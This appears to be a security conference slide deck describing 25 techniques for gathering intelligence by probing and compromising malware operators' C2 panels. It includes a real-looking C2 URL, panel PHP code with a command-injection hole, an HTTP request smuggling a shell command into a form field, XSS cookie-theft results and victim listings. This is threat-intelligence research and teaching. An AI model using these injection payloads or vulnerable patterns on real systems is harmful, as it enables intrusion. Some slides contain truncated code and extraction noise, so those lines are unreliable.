25 Techniques to Gather Threat Intel and Track Actors

Wayne Huang
VP Engineering
Proofpoint, Inc.
@waynehuang
whuang@proofpoint.com
wayne@armorize.com

Sun Huang
Senior Threat Researcher, Proofpoint, Inc.
shuang@proofpoint.com
About Us

➤ Wayne Huang

• Was Founder and CEO of Armorize Technologies, and is now VP Engineering at Proofpoint
• Presented at Hackfest 16, Hack.lu 16, VB 16, SteelCon 16, AusCERT 16, TROOPERS 16, RSA USA (07, 10, 15, 16), RSA APJ (15), BlackHat (10), DEFCON (10), SyScan (08, 09), OWASP (08, 09), Hacks in Taiwan (06, 07), WWW (03, 04), PHP (07) and DSN (04)

➤ Sun Huang

• Senior threat Researcher at Proofpoint
• Pentester with 10+ years experience, CTF enthusiast
• Presented at Hackfest 16, Hack.lu 16, VB 16, SteelCon 16, AusCERT 16, TROOPERS 16, RSA USA 16 and RSA APJ 15
Agenda

- Showcase 25 methods for gathering threat intel for over 30 real cases
- Mostly against web-based C&C servers operated by actors
- WHY: Actors carelessness, server misconfigurations, vulnerable panel code
- HOW: pentesting, application code review
- Intelligence gathering is key to an intelligence-based security strategy
- Conclusion
Method 1

The story starts with us getting a whole bunch of C2 URLs from our sandboxes...

HTTP Requests

<table>
<thead>
<tr>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://nwheilicopters.com/steve/gate.php">http://nwheilicopters.com/steve/gate.php</a></td>
</tr>
</tbody>
</table>

DNS Requests  ... from these URLs, our investigation starts

<table>
<thead>
<tr>
<th>Hostname</th>
<th>IP Addresses</th>
</tr>
</thead>
</table>
Method 1 – Analytics beacons

- **Win:** Discovery of openly accessible traffic analytics
- **Nurjax** (Superfish shipped by notebook vendor)
Method 2 -- Open directories

Win: collect tools, source code, targets, type of c2 panels in use, and unseen samples

Cryptowall

Spam tool

Index of /up

<table>
<thead>
<tr>
<th>Name</th>
<th>Last modified</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Parent Directory</td>
<td>13-Jan-2016 09:14</td>
<td>114M</td>
<td></td>
</tr>
<tr>
<td>1n.rar</td>
<td>13-Jan-2016 09:10</td>
<td>191M</td>
<td></td>
</tr>
<tr>
<td>2.rar</td>
<td>13-Jan-2016 09:10</td>
<td>214M</td>
<td></td>
</tr>
<tr>
<td>3.rar</td>
<td>13-Jan-2016 09:05</td>
<td>198M</td>
<td></td>
</tr>
<tr>
<td>4.rar</td>
<td>13-Jan-2016 09:05</td>
<td>169M</td>
<td></td>
</tr>
<tr>
<td>from_emails.txt</td>
<td>27-Dec-2015 14:22</td>
<td>111K</td>
<td></td>
</tr>
<tr>
<td>jscode.txt</td>
<td>28-Dec-2015 08:15</td>
<td>3.9K</td>
<td></td>
</tr>
<tr>
<td>message.txt</td>
<td>27-Dec-2015 14:54</td>
<td>575</td>
<td></td>
</tr>
<tr>
<td>new_config.txt</td>
<td>28-Dec-2015 07:36</td>
<td>52K</td>
<td></td>
</tr>
<tr>
<td>nnn.rar</td>
<td>13-Jan-2016 09:14</td>
<td>187M</td>
<td></td>
</tr>
<tr>
<td>send.txt</td>
<td>27-Dec-2015 14:22</td>
<td>22K</td>
<td></td>
</tr>
<tr>
<td>send_scripts.txt</td>
<td>28-Dec-2015 08:17</td>
<td>753K</td>
<td></td>
</tr>
<tr>
<td>sendmail.rar</td>
<td>04-Jan-2016 23:33</td>
<td>1.2M</td>
<td></td>
</tr>
<tr>
<td>subi.txt</td>
<td>27-Dec-2015 14:22</td>
<td>102</td>
<td></td>
</tr>
<tr>
<td>urls.txt</td>
<td>27-Dec-2015 14:22</td>
<td>0</td>
<td></td>
</tr>
</tbody>
</table>

Outlook email harvester

Index of /outlook/reports

<table>
<thead>
<tr>
<th>Name</th>
<th>Last modified</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Parent Directory</td>
<td>14-Dec-2015 18:40</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>0/</td>
<td>14-Dec-2015 21:42</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>Canada(CA)/</td>
<td>14-Dec-2015 14:07</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>France(FR)/</td>
<td>14-Dec-2015 14:07</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>Spain(ES)/</td>
<td>14-Dec-2015 08:47</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>United Kingdom(GB)/</td>
<td>15-Dec-2015 08:02</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>United States(US)/</td>
<td>14-Dec-2015 16:34</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>totalstat.txt</td>
<td>17-Dec-2015 01:37</td>
<td>3</td>
<td></td>
</tr>
</tbody>
</table>
Method 2 -- Open directories

Dridex 120: targeting UK

Index of /

<table>
<thead>
<tr>
<th>Name</th>
<th>Last modified</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>1.html</td>
<td>21-Aug-2014 09:43</td>
<td>1.6K</td>
<td></td>
</tr>
<tr>
<td>1.bat</td>
<td>18-Sep-2014 13:41</td>
<td>168</td>
<td></td>
</tr>
<tr>
<td>a.php</td>
<td>12-Jun-2014 08:29</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>app/</td>
<td>13-Mar-2015 18:40</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>app1/</td>
<td>10-Feb-2015 13:18</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>b.exe</td>
<td>16-Jun-2014 10:48</td>
<td>221K</td>
<td></td>
</tr>
<tr>
<td>bases/</td>
<td>17-Sep-2014 12:03</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>bases2/</td>
<td>06-Oct-2014 16:01</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>.jpg</td>
<td>18-Jul-2014 10:06</td>
<td>523K</td>
<td></td>
</tr>
<tr>
<td>.opt</td>
<td>17-Jun-2014 20:15</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>.opt1/</td>
<td>21-Nov-2014 12:33</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>s.html</td>
<td>11-Sep-2014 18:58</td>
<td>1.8K</td>
<td></td>
</tr>
<tr>
<td>str/</td>
<td>04-Jun-2014 20:32</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>thr/</td>
<td>24-Oct-2014 09:50</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>tr/</td>
<td>08-Dec-2014 10:44</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>.t.html</td>
<td>28-Jul-2014 11:09</td>
<td>1.7K</td>
<td></td>
</tr>
<tr>
<td>Uhttp</td>
<td>12-Mar-2015 18:59</td>
<td>20</td>
<td></td>
</tr>
<tr>
<td>ubound.php</td>
<td>16-Jun-2014 06:28</td>
<td>462</td>
<td></td>
</tr>
<tr>
<td>index.html</td>
<td>04-Jun-2014 16:50</td>
<td>177</td>
<td></td>
</tr>
<tr>
<td>beefawkt/</td>
<td>17-Feb-2015 21:00</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>.opt</td>
<td>08-Dec-2014 10:44</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>.opt1/</td>
<td>08-Dec-2014 10:45</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>.opt1/</td>
<td>08-Dec-2014 10:39</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>.htmlc</td>
<td>05-Aug-2014 06:33</td>
<td>3.5K</td>
<td></td>
</tr>
</tbody>
</table>

Index of /bases

<table>
<thead>
<tr>
<th>Name</th>
<th>Last modified</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>.Parent Directory</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>GB_EBOK.bat</td>
<td>04-Sep-2014 09:07</td>
<td>2.6G</td>
<td></td>
</tr>
<tr>
<td>email-filter new.php</td>
<td>08-Sep-2014 14:23</td>
<td>3.7K</td>
<td></td>
</tr>
<tr>
<td>email-filter.php</td>
<td>06-Sep-2014 08:04</td>
<td>3.6K</td>
<td></td>
</tr>
<tr>
<td>filter.bat</td>
<td>04-Sep-2014 10:30</td>
<td>505</td>
<td></td>
</tr>
<tr>
<td>new-uk-2014.bat</td>
<td>04-Sep-2014 09:18</td>
<td>1.0G</td>
<td></td>
</tr>
<tr>
<td>new-mails.bat</td>
<td>07-Sep-2014 08:02</td>
<td>13G</td>
<td></td>
</tr>
<tr>
<td>new-mails_filtered.bat</td>
<td>08-Sep-2014 17:04</td>
<td>9.2G</td>
<td></td>
</tr>
<tr>
<td>stat.bat</td>
<td>07-Sep-2014 08:02</td>
<td>461M</td>
<td></td>
</tr>
<tr>
<td>stat_100k.bat</td>
<td>08-Sep-2014 14:24</td>
<td>6.2K</td>
<td></td>
</tr>
<tr>
<td>uk-june-2014.bat</td>
<td>04-Sep-2014 09:28</td>
<td>1.3G</td>
<td></td>
</tr>
<tr>
<td>uk-rent.bat</td>
<td>04-Sep-2014 10:40</td>
<td>7.4G</td>
<td></td>
</tr>
<tr>
<td>uk-resolv.bat</td>
<td>04-Sep-2014 10:59</td>
<td>2.0G</td>
<td></td>
</tr>
<tr>
<td>uk.bat</td>
<td>04-Sep-2014 11:44</td>
<td>4.7G</td>
<td></td>
</tr>
</tbody>
</table>
Method 3 – Fuzzing common file names

- Win: Discover C2 files
- Nurjax - stats.php

Total Distribuido: 6080063

Instalados Hoje: 401

Ativos Hoje: 3581

Total Ativo (15 dias): 238780

Total Ativo (3 dias): 114752

Total Ativo (2 dias): 95857

Ultimos 30 dias
Data 13/04/2016: 401 installs
Data 12/04/2016: 6546 installs
Data 11/04/2016: 7477 installs
Data 10/04/2016: 6615 installs
Data 09/04/2016: 6805 installs
Data 08/04/2016: 6927 installs
Data 07/04/2016: 6570 installs
Data 06/04/2016: 5135 installs
Data 05/04/2016: 5403 installs
Data 04/04/2016: 5911 installs
Data 03/04/2016: 7297 installs
Data 02/04/2016: 7677 installs
Data 01/04/2016: 6597 installs
Data 31/03/2016: 6011 installs
Method 3 – Fuzzing common file names

- Win: C2 panel access
- UnkDownloader (targeting brazil)
Method 3 – Fuzzing common file names

Win: C2 panel access
UnkDownloader (targeting brazil)
Method 3 – Fuzzing common file names

▶ Win: C2 server access
▶ Loki Stealer (Pony)
Method 3 – Fuzzing common file names

- Win: C2 server access
- Loki Stealer (Pony)
Method 4

Now that we’ve fully explored with our C2 URLs …

… where exactly is the C2 admin control panel, and how can we understand its file structure?
Method 4 -- server-status

Loki PWS Stealer(Pony) + LOKI PLUS(Neutrino)

Apache Server Status for

Current Time: Tuesday, 17-Jan-2017 01:34:37 EST
Restart Time: Wednesday, 11-Jan-2017 05:39:31 EST
Parent Server Generation: 2
Server uptime: 5 days 19 hours 55 minutes 6 seconds
Total accesses: 163931 - Total Traffic: 56.3 MB
CPU Usage: 0.88% 5.03 cm181 41 sat 0.344% CPU load
325 requests/sec - 117 B/second - 559 B/request
3 requests currently being processed, 9 idle workers

Scoreboard Key:
"W" Sending Reply, "m" Keepalive (read), "n" DNS Lookup,
"c" Closing connection, "r" Logging, "a" Gracefully finishing,
"t" Idle cleanup of worker, "." Open slot with no current process

<table>
<thead>
<tr>
<th>Stv</th>
<th>PID</th>
<th>Acc</th>
<th>M</th>
<th>CPU</th>
<th>SS</th>
<th>Req</th>
<th>Conn</th>
<th>Child</th>
<th>Slot</th>
<th>Client</th>
<th>VHost</th>
<th>Request</th>
</tr>
</thead>
<tbody>
<tr>
<td>0-2</td>
<td>23437</td>
<td>0/251/14834</td>
<td>6.16</td>
<td>0</td>
<td>52</td>
<td>0.0</td>
<td>0.18</td>
<td>4.5</td>
<td></td>
<td></td>
<td></td>
<td>GET /apos/main/config/PwsDq929B5x_A_D_M1n_a.php</td>
</tr>
<tr>
<td>1-2</td>
<td>19100</td>
<td>1/1015</td>
<td>138.07</td>
<td>108621</td>
<td>14594</td>
<td>0.5</td>
<td>1.80</td>
<td>3.8</td>
<td></td>
<td></td>
<td></td>
<td>POST /apos/main/config/fire.php HTTP/1.0</td>
</tr>
<tr>
<td>2-2</td>
<td>29258</td>
<td>0/63/13764</td>
<td>1.63</td>
<td>22</td>
<td>372</td>
<td>0.0</td>
<td>0.04</td>
<td>4.0</td>
<td></td>
<td></td>
<td></td>
<td>POST /apos/main/fire.php HTTP/1.0</td>
</tr>
<tr>
<td>3-2</td>
<td>21490</td>
<td>0/313/13174</td>
<td>7.29</td>
<td>24</td>
<td>23</td>
<td>0.0</td>
<td>0.09</td>
<td>4.0</td>
<td></td>
<td></td>
<td></td>
<td>POST /apos/main/config/newtasks.php HTTP/1.0</td>
</tr>
<tr>
<td>4-2</td>
<td>11079</td>
<td>17/12073</td>
<td>0.14</td>
<td>47252</td>
<td>14832</td>
<td>0.5</td>
<td>0.00</td>
<td>3.5</td>
<td></td>
<td></td>
<td></td>
<td>POST /apos/main/config/fire.php HTTP/1.0</td>
</tr>
<tr>
<td>5-2</td>
<td>24960</td>
<td>0/189/13851</td>
<td>4.76</td>
<td>2</td>
<td>22</td>
<td>0.0</td>
<td>0.07</td>
<td>4.0</td>
<td></td>
<td></td>
<td></td>
<td>POST /apos/main/config/newtasks.php HTTP/1.0</td>
</tr>
</tbody>
</table>
### Method 4 -- server-status

#### Loki PWS Stealer(Pony) + LOKI PLUS(Neutrino)

<table>
<thead>
<tr>
<th>Bot GUID</th>
<th>PC Information</th>
<th>Last Online</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>7E9D09D44F1</td>
<td>PC34 User, Windows 7 x64, 1920x1080, 1 report</td>
<td>2017-01-17 09:43:03 (14 h)</td>
<td>Set</td>
</tr>
<tr>
<td>07773C5E1880</td>
<td>LENOVO-X3123 Administrator, Windows 7 x32, 800x600, 0 report</td>
<td>2017-01-17 09:40:28 (1 hour)</td>
<td>Set</td>
</tr>
<tr>
<td>4E82E236B5118</td>
<td>JOHN F. 420 Johnson, Windows 7 x64, 1440x900, 1 report</td>
<td>2017-01-17 07:04:53 (3 h)</td>
<td>Set</td>
</tr>
<tr>
<td>C41553774F00</td>
<td>JOHN F., Windows 7 x32, 1024x768, 1 report</td>
<td>2017-01-17 07:03:18 (3 h)</td>
<td>Set</td>
</tr>
<tr>
<td>F6E5E26C3B22</td>
<td>ROGER-PC-Roger, Windows 7 x64, 1024x768, 1 report</td>
<td>2017-01-17 02:20:30 (7 h)</td>
<td>Set</td>
</tr>
<tr>
<td>64A17E8C0A9215</td>
<td>ANTONY-PC Antony, Windows 7 x32, 1024x768, 1 report</td>
<td>2017-01-17 02:23:13 (7 h)</td>
<td>Set</td>
</tr>
<tr>
<td>951A5E87422BCC</td>
<td>USER-PC User, Windows 7 x32, 1024x768, 0 report</td>
<td>2017-01-17 01:45:30 (15 h)</td>
<td>Set</td>
</tr>
<tr>
<td>620D3B6E5A341</td>
<td>HR-Administrator, Windows 7 x64, 800x600, 0 report</td>
<td>2017-01-16 11:54:25 (22 h)</td>
<td>Set</td>
</tr>
<tr>
<td>40E49FD84639</td>
<td>RICO-WIN7 Administrator, Windows 7 x32, 800x600, 0 report</td>
<td>2017-01-16 11:52:43 (22 h)</td>
<td>Set</td>
</tr>
<tr>
<td>00D5B5825F7A5</td>
<td>DEER-US-3107@Gz, Windows 7 x64, 1024x768, 0 report</td>
<td>2017-01-10 07:40:13 (1 day)</td>
<td>Set</td>
</tr>
<tr>
<td>51EF3F213B39B</td>
<td>TEST-PC test-PC test, Windows 7 x32, 1360x768, 0 report</td>
<td>2017-01-10 05:55:00 (1 day)</td>
<td>Set</td>
</tr>
<tr>
<td>51E493A3052DF</td>
<td>USER Cluster, Windows 7 x32, 1024x768, 0 report</td>
<td>2017-01-16 04:27:06 (1 day)</td>
<td>Set</td>
</tr>
</tbody>
</table>
Method 4 -- server-status

Loki PWS Stealer (Pony) + LOKI PLUS (Neutrino)

<table>
<thead>
<tr>
<th>Machine id</th>
<th>HWID</th>
<th>IP address</th>
<th>OS</th>
<th>Antivirus</th>
<th>Country</th>
<th>Version</th>
<th>Quality</th>
<th>Status</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>4e6...</td>
<td>77...</td>
<td>12.08.42</td>
<td>Win 7</td>
<td>N/A</td>
<td></td>
<td>1208</td>
<td>3.0</td>
<td>online</td>
<td></td>
</tr>
<tr>
<td>f1e...</td>
<td>21...</td>
<td>2.08.20</td>
<td>Win 7</td>
<td>N/A</td>
<td></td>
<td>2.08</td>
<td>3.0</td>
<td>offline</td>
<td></td>
</tr>
<tr>
<td>gb1...</td>
<td>12...</td>
<td>4.02.43</td>
<td>Win XP</td>
<td>N/A</td>
<td></td>
<td>4.02</td>
<td>3.0</td>
<td>offline</td>
<td></td>
</tr>
<tr>
<td>d15...</td>
<td>6...</td>
<td>8.04.12</td>
<td>Win 7</td>
<td>N/A</td>
<td></td>
<td>8.04</td>
<td>3.0</td>
<td>offline</td>
<td></td>
</tr>
<tr>
<td>f05...</td>
<td>2e...</td>
<td>6.09.60</td>
<td>Win 7</td>
<td>N/A</td>
<td></td>
<td>6.09</td>
<td>3.0</td>
<td>offline</td>
<td></td>
</tr>
<tr>
<td>770...</td>
<td>4...</td>
<td>5.00.21</td>
<td>Win 7</td>
<td>N/A</td>
<td></td>
<td>5.00</td>
<td>3.0</td>
<td>offline</td>
<td></td>
</tr>
<tr>
<td>e48...</td>
<td>10...</td>
<td>5.02.35</td>
<td>Win 7</td>
<td>N/A</td>
<td></td>
<td>5.02</td>
<td>3.0</td>
<td>offline</td>
<td></td>
</tr>
<tr>
<td>8aa...</td>
<td>5...</td>
<td>3.02.40</td>
<td>Win 7</td>
<td>N/A</td>
<td></td>
<td>3.02</td>
<td>3.0</td>
<td>offline</td>
<td></td>
</tr>
<tr>
<td>c93...</td>
<td>12...</td>
<td>2.02.45</td>
<td>Win 7</td>
<td>N/A</td>
<td></td>
<td>2.02</td>
<td>3.0</td>
<td>offline</td>
<td></td>
</tr>
<tr>
<td>205...</td>
<td>7...</td>
<td>1.00.20</td>
<td>Win XP</td>
<td>N/A</td>
<td></td>
<td>1.00</td>
<td>3.0</td>
<td>offline</td>
<td></td>
</tr>
</tbody>
</table>
Win: Find C2 admin login panels via the Apache server-status module

Cryptowall

<table>
<thead>
<tr>
<th>Sr</th>
<th>PID</th>
<th>Acc</th>
<th>M</th>
<th>CPU</th>
<th>SS</th>
<th>Req</th>
<th>Conn</th>
<th>Child</th>
<th>Slot</th>
<th>Client</th>
<th>VHost</th>
<th>Request</th>
</tr>
</thead>
<tbody>
<tr>
<td>0-1</td>
<td>24684</td>
<td>0/4307/49793 _</td>
<td>1242.38</td>
<td>6</td>
<td>4</td>
<td>0.0</td>
<td>0.28</td>
<td>24.83</td>
<td>127.0.0.1</td>
<td>localhost:POST /z5mh28ar9v HTTP/1.0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>1-1</td>
<td>-</td>
<td>0/0/45533 _</td>
<td>6.51</td>
<td>44312</td>
<td>0</td>
<td>0.0</td>
<td>0.00</td>
<td>24.05</td>
<td>::1</td>
<td>localhost:OPTIONS * HTTP/1.0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>2-1</td>
<td>24686</td>
<td>0/4323/49828 _</td>
<td>1144.30</td>
<td>1</td>
<td>3</td>
<td>0.0</td>
<td>0.25</td>
<td>23.90</td>
<td>127.0.0.1</td>
<td>localhost:POST /q3juqd560am3k HTTP/1.0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>3-1</td>
<td>24687</td>
<td>0/4314/49753 _</td>
<td>1238.82</td>
<td>6</td>
<td>4</td>
<td>0.0</td>
<td>0.09</td>
<td>23.92</td>
<td>127.0.0.1</td>
<td>localhost:POST /18yewtln91hu HTTP/1.0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>4-1</td>
<td>24688</td>
<td>0/4331/49837 _</td>
<td>1200.11</td>
<td>8</td>
<td>4</td>
<td>0.0</td>
<td>0.14</td>
<td>23.97</td>
<td>127.0.0.1</td>
<td>localhost:POST /5yaswp9h74i HTTP/1.0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>5-1</td>
<td>24689</td>
<td>0/4330/47746 _</td>
<td>1157.84</td>
<td>4</td>
<td>3</td>
<td>0.0</td>
<td>0.13</td>
<td>23.54</td>
<td>127.0.0.1</td>
<td>localhost:POST /mp4npn240 HTTP/1.0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>6-1</td>
<td>24690</td>
<td>0/4336/49854 _</td>
<td>1107.58</td>
<td>5</td>
<td>254</td>
<td>0.0</td>
<td>0.24</td>
<td>24.27</td>
<td>127.0.0.1</td>
<td>localhost:POST /worknigawork_a01951b4c4e9925ae188ae71d6e45a3?p=statisti</td>
<td></td>
<td></td>
</tr>
<tr>
<td>7-1</td>
<td>-</td>
<td>0/0/45461 _</td>
<td>0.01</td>
<td>44342</td>
<td>0</td>
<td>0.0</td>
<td>0.00</td>
<td>24.10</td>
<td>::1</td>
<td>localhost:OPTIONS * HTTP/1.0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>8-1</td>
<td>11395</td>
<td>0/21311/50027 _</td>
<td>5223.45</td>
<td>1</td>
<td>3</td>
<td>0.0</td>
<td>3.23</td>
<td>24.78</td>
<td>127.0.0.1</td>
<td>localhost:POST /z27pusp0nkd6z HTTP/1.0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>9-1</td>
<td>-</td>
<td>0/0/45457 _</td>
<td>3899.33</td>
<td>45149</td>
<td>0</td>
<td>0.0</td>
<td>0.00</td>
<td>23.49</td>
<td>::1</td>
<td>localhost:OPTIONS</td>
<td></td>
<td></td>
</tr>
<tr>
<td>10-1</td>
<td>-</td>
<td>0/0/43359 _</td>
<td>113.85</td>
<td>45102</td>
<td>0</td>
<td>0.0</td>
<td>0.00</td>
<td>23.40</td>
<td>::1</td>
<td>localhost:OPTIONS</td>
<td></td>
<td></td>
</tr>
<tr>
<td>11-1</td>
<td>24562</td>
<td>0/4524/49990 W</td>
<td>1275.10</td>
<td>1</td>
<td>0</td>
<td>0.0</td>
<td>0.18</td>
<td>23.95</td>
<td>127.0.0.1</td>
<td>localhost:POST /an</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Method 5 -- PHP error messages

Win: Understanding the C2’s structure

TROJAN Unknown Bot

```
Warning: copy(/class_database.php): failed to open stream: Permission denied in /home/staktarutung/public_html/assets/docs/daftar.php on line 25
```
Method 5 -- PHP error messages

Win: Understanding the C2’s structure

TROJAN Unknown Bot
Method 6 -- Python Django debug enabled

Win: Understanding the C2's structure

Asprox: Marketplace with over 1400 registered sellers
Method 6 -- Python Django debug enabled

- WSO Webshells by unique domain: 3,027,423
  - gov:602+, mil:7+
- WSO Webshells by unique filename: 7,966,903
- SMTP accounts: 2,136,017
  - gov:4,000+, mil:1,574+ (Over 1,220 one military department)
- FTP accounts: 585,549
  - gov:258
- SSH-root: 1,236
- SSH-user: 50,757
  - gov:92
Method 7

Progress: now we know the C2’S file structure…

… But how can we get authenticated into the panel?
Method 7 -- Insufficient authentication

- Win: C2 panel access
- Hancitor_Downloader
Method 7 -- Insufficient authentication

- Win: C2 panel access
- Hancitor_Downloader
Method 7 -- Insufficient authentication

- Win: C2 panel access
- Android Marcher malware
Method 7 -- Insufficient authentication

- Win: access victim statistics, execute C2 commands, etc.
- Android Marcher malware
Now that we’ve authenticated ourselves…

… can we expand laterally?
Method 8 -- Session Fixation

- Win: access others panel on the same C2 server without authentication
- Keybase (mostly operated by Nigerian actor)
  - Also has SQL injection, File upload vulnerabilities
Method 8 -- Session Fixation

- **Win:** access others panel on the same C2 server without authentication

- **Keybase:**
  - Also has SQL injection, File upload vulnerabilities
Method 8 -- Session Fixation

- Keybase (mostly operated by Nigerian actor)
- Targeted business email compromise (BEC)
How about directly guessing the password?
Method 9 -- Weak passwords

- Win: gain C2 panel access
- Blackmoo_KRBanker (Targeting Korea)
Method 9 -- Weak passwords

- Win: gain C2 panel access
- Cerber/Sage ransomware
Method 9 -- Weak passwords

- Win: gain WSO Webshell access
- Cerber/Sage ransomware
Method 9 -- Weak passwords

- Leverage: gainC2 panel access
- Cerber/Sage ransomware
Method 10

And speaking of passwords…

… how else can we get the admin password?
Method 10 -- Hardcoded password / download config file

Win: understanding who’s infected / targeted
IRC bot (not well known)
Method 10 -- Hardcoded password / download config file

- Win: understanding who’s infected / targeted
- IRC bot (not well known)
Method 11

If reversing is useful…

… how about code review?
Method 11 – Obtain source code

➢ Goal: obtain panel’s source code and review, learn panel structure

➢ Fuzz folder names
  • /bn/ -> bn.zip / bn.rar / bn.tar.gz
  • /panel/ -> panel.zip / panel.rar / panel.tar.gz

➢ Custom fuzzer script: collect all C2 URLs then try to fuzz
Method 12 -- Cross site scripting

- Win: steal cookie and access C2 panel
- ISR stealer
Method 12 -- Cross site scripting

<table>
<thead>
<tr>
<th>XSS targeted experiment</th>
<th>170 ISR Stealer panels on unique domain name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Duration</td>
<td>2 weeks</td>
</tr>
<tr>
<td>Successful trigger</td>
<td>Received 103 Cookies</td>
</tr>
<tr>
<td>Successful rate</td>
<td>60 %</td>
</tr>
<tr>
<td>Number of victims</td>
<td>66,284</td>
</tr>
<tr>
<td>Actors location</td>
<td>Mostly in Nigeria</td>
</tr>
</tbody>
</table>
Method 13 -- Backdoor

嬴：获取 C2 服务器访问权限

Zeus Robot / Panther / GOZ
Method 14 -- Remote command execution

- Win: root the C2 server
- Zeus / Citadel / ICESI

```php
function fsarcCreate($archive, $files)
{
    error_reporting(E_ALL);
    if(strcasecmp(substr(PHP_OS, 0, 7), 'windows') == 0)
    {
        $archive = str_replace('/', '\', $archive);
        foreach($files as $k => $v)
            $files[$k] = str_replace('/', '\
        }
    
    $archive .= '.zip';
    $cli = 'zip -r -9 -q -S "'.$archive.'" "'.implode('" "', $files).'"
    exec($cli, $e, $r);
    if($r != 0)echo "(error: $r) "'.$cli.'"<br/>";
    return $r ? false : $archive;
}?
```
Method 14 -- Remote command execution

Purpose:
To gain access their C2 server
Zeus / Citadel / ICEXI

```
POST /images/ken/cp.php?letter=f&path= HTTP/1.1
Host: Proxy-Connection: keep-alive
Content-Length: 31
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://ken.cp.php?
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://ken.cp.php?
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: ref=2507487cdbad2bace8fe1961f55403fa2;_cfuid=d3a054052200c319a62b7766e655ec0b1410504201490

/filesaction=1&files%5B0%5D=";echo "<?php phpinfo();?>" > /home/ckhtmxtf/public_html/images/ken/info.php %23
```
Method 14 -- Remote command execution

PHP Version 5.4.32

System: Linux server.cyber-node-bp2.org 2.6.32-431.29.2.el6.x86_64 #1 SMP Tue Sep 9 21:36:05 UTC
Build Date: 2011-03-09 19:18:05

Configure Command:

Server API: CGI/FastCGI
Virtual Directory Support: disabled
Configuration File (php.ini) Path: /usr/local/lib

filesaction=1&files%5DQ=";echo ";echo "<?php phpinfo();?>" > /home/ckhtmxztf/public_html/images/ken/info.php %33
Method 15 -- SQL Injection

- **Purpose:** dump C2 panel’s database
- **Android Opfake malware**

<table>
<thead>
<tr>
<th>Дата добавления</th>
<th>Страна</th>
<th>Последняя активность</th>
<th>IMEI пользователя</th>
<th>Оператор связи</th>
<th>IP бота</th>
</tr>
</thead>
<tbody>
<tr>
<td>12.09.2015 13:47</td>
<td>Россия</td>
<td>12.09.2015 14:02</td>
<td>865</td>
<td>MTS RUS</td>
<td>85.11.133</td>
</tr>
<tr>
<td>07.09.2015 14:54</td>
<td>Россия</td>
<td>14.09.2015 09:46</td>
<td>367</td>
<td>Rostelecom</td>
<td>89.11.129</td>
</tr>
<tr>
<td>07.09.2015 14:09</td>
<td>Россия</td>
<td>07.09.2015 14:03</td>
<td>353</td>
<td>MegaFon</td>
<td>194.11.302</td>
</tr>
<tr>
<td>07.09.2015 06:31</td>
<td>Россия</td>
<td>15.09.2015 15:52</td>
<td>866</td>
<td>MTS RUS</td>
<td>178.11.08</td>
</tr>
<tr>
<td>06.09.2015 13:19</td>
<td>Россия</td>
<td>06.09.2015 13:19</td>
<td>358</td>
<td>MTS RUS</td>
<td>83.11.78</td>
</tr>
<tr>
<td>06.09.2015 09:08</td>
<td>Россия</td>
<td>08.09.2015 13:15</td>
<td>358</td>
<td>Beeline</td>
<td>85.11.82</td>
</tr>
<tr>
<td>05.09.2015 13:45</td>
<td>Unknown</td>
<td>05.09.2015 13:49</td>
<td>869</td>
<td>109.11.116</td>
<td></td>
</tr>
<tr>
<td>05.09.2015 12:46</td>
<td>Unknown</td>
<td>05.09.2015 12:46</td>
<td>352</td>
<td>83.11.88</td>
<td></td>
</tr>
<tr>
<td>04.09.2015 09:50</td>
<td>Россия</td>
<td>04.09.2015 07:25</td>
<td>861</td>
<td>MegaFon</td>
<td>178.11.130</td>
</tr>
</tbody>
</table>
Method 15 -- SQL Injection

- Win: dump C2 panel’s database
- Android Opfake malware
Method 15 -- SQL Injection

- **Win:** dump C2 panel’s database
- **Android Opfake malware**

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "" LIMIT 1' at line 1

```
<?php
include("config.php");
mysql_query("SET NAMES 'utf8'");

